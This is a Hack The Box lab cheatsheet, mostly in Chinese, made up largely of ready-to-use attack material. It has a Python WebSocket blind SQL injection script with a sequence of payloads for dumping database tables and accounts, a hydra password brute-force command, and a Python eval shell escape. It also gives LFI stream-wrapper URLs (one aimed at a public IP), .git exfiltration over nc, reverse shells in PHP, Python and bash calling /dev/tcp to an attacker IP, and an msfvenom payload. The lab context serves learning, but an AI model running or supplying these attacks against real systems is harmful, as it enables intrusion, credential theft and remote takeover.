HTB Lab Cheatsheet (Full Version) === ## SNMP ``` apt-get install snmp snmp-mibs-downloader snmpwalk -v 2c -c public <YOUR_NAGIOS_XI_IP_ADDRESS> ``` ## SQLi ### Blind Injection 1. DB名稱長度、DB名稱 ``` # 導入必要的函式庫 import asyncio import websockets import json # 設定目標 WebSocket URL。請將此 URL 替換為你的靶機 URL。 # 例如: ws://soc-player.soccer.htb:9091 TARGET_URL = "ws://soc-player.soccer.htb:9091" # 定義猜測的字元集,包含數字、小寫字母、大寫字母和一些特殊符號 # 你可以根據需要調整這個集合 CHARSET = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789_-@.$" # 封裝檢查條件的非同步函式 # 這個函式會發送包含 SQL payload 的訊息,並根據回應判斷條件是否成立。 async def check_condition(websocket, payload): """ 發送 payload 並判斷伺服器回應是否為 'Ticket Exists'。 Args: websocket: 已建立的 websocket 連線物件。 payload: 包含 SQL 判斷式的字典。 Returns: bool: 如果回應為 'Ticket Exists' 則返回 True,否則為 False。 """ try: # 將 payload 轉換為 JSON 字串並發送 await websocket.send(json.dumps(payload)) # 等待並接收伺服器回應 response = await websocket.recv() # 判斷回應是否包含 'Ticket Exists' print(f"{payload}:\n{response}") return "Ticket Exists" in response except Exception as e: print(f"發送或接收訊息時發生錯誤: {e}") return False # 主要的非同步函式,用於執行盲注攻擊 async def main(): db_name = "" print("開始執行 WebSocket 盲注式 SQL 注入攻擊...") # 使用非同步連線到 WebSocket 伺服器 async with websockets.connect(TARGET_URL) as websocket: print(f"成功連線到 {TARGET_URL}") # 步驟 1: 猜測資料庫名稱的長度 print("步驟 1: 猜測資料庫名稱長度...") db_length = 0 for length in range(1, 30): # 假設資料庫名稱長度不超過 30 # 建立猜測長度的 SQL payload payload = {"id": f"1234 OR LENGTH(DATABASE()) = {length} -- "} #payload = {"id": f"1234 UNION SELECT 1,2,3 -- "} # 檢查條件 if await check_condition(websocket, payload): db_length = length print(f"資料庫名稱長度為: {db_length}") break if db_length == 0: print("無法猜測出資料庫名稱長度。") return # 步驟 2: 逐一猜測資料庫名稱的每個字元 print("步驟 2: 逐一猜測資料庫名稱字元...") for i in range(1, db_length + 1): for char in CHARSET: # 建立猜測字元的 SQL payload # 使用 ASCII(SUBSTRING(DATABASE(), 位置, 1)) = ASCII('字元') payload = {"id": f"1234 OR ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {ord(char)} -- "} # 檢查條件 if await check_condition(websocket, payload): db_name += char print(f"目前已猜出: {db_name}\n") break print("\n===============================") print(f"最終猜測出的資料庫名稱是: {db_name}") print("===============================") # 啟動非同步主函式 if __name__ == "__main__": asyncio.run(main()) ``` 2. 特定DB的Table數量 ``` 1234 OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema = 'soccer_db') = 1 -- ``` 3. 特定DB第一個Table的名稱長度 ``` id=1234 OR (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema = 'soccer_db' LIMIT 0,1) = 1 -- ``` 4. 特定DB第一個Table的名稱 ``` id=1234 OR (SELECT ASCII(SUBSTR(table_name, 1, 1)) FROM information_schema.tables WHERE table_schema = 'soccer_db' LIMIT 0,1) = 116 -- ``` 5. 特定Table的欄位數量 ``` id=1234 OR (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema = 'soccer_db' AND table_name = 'accounts') = 1 -- ``` 6. 特定Table的第一個欄位名稱長度 ``` id=1234 OR (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema = 'soccer_db' AND table_name = 'accounts' LIMIT 0,1) = 1 -- ``` 7. 特定Table的第一個欄位名稱 ``` id=1234 OR (SELECT ASCII(SUBSTR(column_name, 1, 1)) FROM information_schema.columns WHERE table_schema = 'soccer_db' AND table_name = 'accounts' LIMIT 0,1) = 64 -- ``` 8. 特定Table的紀錄數量 ``` id=1234 OR (SELECT COUNT(*) FROM accounts) = 1 -- ``` 9. 特定Table的第一列紀錄特定欄位資料的長度 ``` id=1234 OR (SELECT LENGTH(username) FROM accounts LIMIT 0,1) = 1 -- ``` 10. 特定Table的第一列紀錄特定欄位資料內容 ``` id=1234 OR (SELECT ASCII(SUBSTR(username, 1, 1)) FROM accounts LIMIT 0,1) = 64 -- ``` ### PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection --- ## john ``` john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashfile ``` ## GraphQL Syntax ``` query { user { username password } } ``` ``` query GetAllObjectTypes { __schema { types { name kind fields { name type { name kind ofType { name kind } } description } description } } } ``` ``` query GetUserTypeFields { __type(name: "User") { name fields { name type { name kind ofType { name kind } } description } } } ``` ## 弱密碼 ``` hydra -t 10 -L rockyou.txt -P rockyou.txt -s 443 test.tw http-post-form "/login:account=^USER^&password=^PASS^:F=incorrect" ``` ## eval漏洞 ### Python Python2的```input()```會讀取input並傳送到eval,例如: ``` url = input("Enter URL here:") ``` 輸入的程式碼會被執行 ``` __import__('os').system('bash') ``` 回傳shell ## PHP Stream Wrappers 當有LFI時 * 執行Phar裡的PHP檔案 http://dev.siteisup.htb/?page=phar://uploads/dc44bcedffc08a965990f8f1dfa10a32/phpinfo.phar/phpinfo * 讀PHP source code http://45.76.101.18/home.php?file=php://filter/read=convert.base64-encode/resource=admin/checkpassword.php ## Hijack Executable * https://gtfobins.github.io ## curl ``` curl http://dev.siteisup.htb/uploads/dd2f884d6ca7dba024fa145f8b5b258b/exploit.phar -H "Special-Dev: only4dev" -H "Host: dev.siteisup.htb" > phpinfo.php ``` ## Git ### 打包.git * .git外漏 ``` git-dumper http://siteisup.htb/dev/.git dev ``` * .git不外漏 ``` tar -cf /tmp/A.tar /path/to/.git/* # on victim cat /tmp/A.tar | nc <IP> <Port> # on attacker nc -lvnp <Port> > A.tar ``` ### 查特定檔案變更內容 ``` git log --name-only git show f7c903a5 -- <file_path> ``` ## Brute Force https://systw.net/note/archives/1776 ``` ffuf -u http://FUZZ.siteisup.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ ``` ## Reverse Shell Script ``` <?php $descspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.44/1234 0>&1'"; $proc = proc_open($cmd, $descspec, $pipes); ``` ``` #!/usr/bin/python3 import socket,os,pty;s=socket.socket();s.connect(("<TargetIP>",<PORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash") ``` ``` #!/bin/bash bash -c 'bash -i >& /dev/tcp/10.1.2.3/1234 0>&1' ``` ``` msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.44 LPORT=9001 -f elf -o rs.elf ``` python執行命令範例: ``` import os os.system("cat /root/root.txt") ``` ## 使用者身分 * 使用者變換為root ``` su root ``` * ```(ALL) NOPASSWD: /usr/local/bin/easy_install``` :::info ```(ALL)```: (ALL) ALL 通常會縮寫成一個 (ALL),代表任何使用者在任何主機上。 ```NOPASSWD:```: 它指示系統,當符合此規則的使用者嘗試執行後面的指令時,不需要提示輸入他們的密碼。 ::: * SetUID Bit SetUID 位元 (Set User ID) 是一種特殊的檔案權限,它影響著執行檔 (executable file) 的行為。當一個可執行檔案設定了 SetUID 位元時,任何使用者在執行這個檔案時,它的有效使用者 ID (effective user ID) 會暫時變成該***檔案擁有者的 ID***,而不是執行該檔案的使用者 ID。 ``` find / -perm -u=s -type f 2>/dev/null ``` ## nc ``` nc -lvnp <PORT> ``` ## nmap ``` nmap -sU -p- --open <TargetIP> --min-rate 10000 nmap -sVC -p- -T4 -vvv -oA BUSQUEDANmapfullportscan <TargetIP> nmap --script vuln -p 22,80 -vvv -T4 -oA BUSQUEDAvulnscan <TargetIP> ``` :::info -sVC: 這個選項是兩個選項的組合: -sV (Service Version Detection): 這個選項指示 Nmap 嘗試確定在開放埠上運行的服務及其版本。例如,它會告訴你埠 80 上運行的不僅僅是一個「網頁服務」,而是「Apache HTTP Server 2.4.41」或「Nginx 1.18.0」。這對於識別潛在的漏洞非常有用,因為不同的軟體版本可能有不同的已知漏洞。 -sC (Equivalent to --script=default): 這個選項會運行 Nmap 預設的腳本。Nmap 腳本引擎 (NSE) 是一個強大的功能,允許用戶編寫或運行各種腳本來自動化各種網路任務。預設腳本通常包括服務發現、漏洞檢測、後門檢測等常見且相對安全的腳本。 -p- (Scan all ports): 這個選項指示 Nmap 掃描所有 65535 個 TCP 埠。 預設情況下,Nmap 只掃描最常見的 1000 個埠。 使用 -p- 可以確保你不會遺漏任何在非標準埠上運行的服務,但這會大大增加掃描時間。 -T4 (Timing Template): 這個選項設置掃描的速度模板。Nmap 有 6 個速度模板,從 T0 (最慢,最隱蔽) 到 T5 (最快,最激進)。 T4 代表 aggressive (激進)。它在速度和隱蔽性之間提供了一個不錯的平衡,比預設速度更快,但仍然試圖避免過度激進而導致防火牆或入侵檢測系統 (IDS/IPS) 的警報。 -vvv (Very Verbose Output): 這個選項增加掃描輸出的詳細程度。 單個 -v 會提供更多的即時輸出,顯示掃描進度。 vvv 則會提供非常詳細的輸出,包括每個掃描階段的細節、Nmap 嘗試的探測以及其解釋,這對於故障排除或深入分析掃描結果非常有用。 -oA BUSQUEDANmapfullportscan (Output All Formats): 這個選項指示 Nmap 將掃描結果以所有主要格式輸出,並以指定的檔案名作為前綴。 它會創建三個檔案: BUSQUEDANmapfullportscan.nmap (Normal output): 這是 Nmap 的標準可讀文字輸出。 BUSQUEDANmapfullportscan.gnmap (Grepable output): 這是為了方便腳本處理而設計的格式,每行一個主機。 BUSQUEDANmapfullportscan.xml (XML output): 這是最推薦的格式,因為它包含了最詳細的資訊,並且可以方便地被其他工具解析和處理。 ::: ## Writeups - [UpDown](https://0xdf.gitlab.io/2023/01/21/htb-updown.html)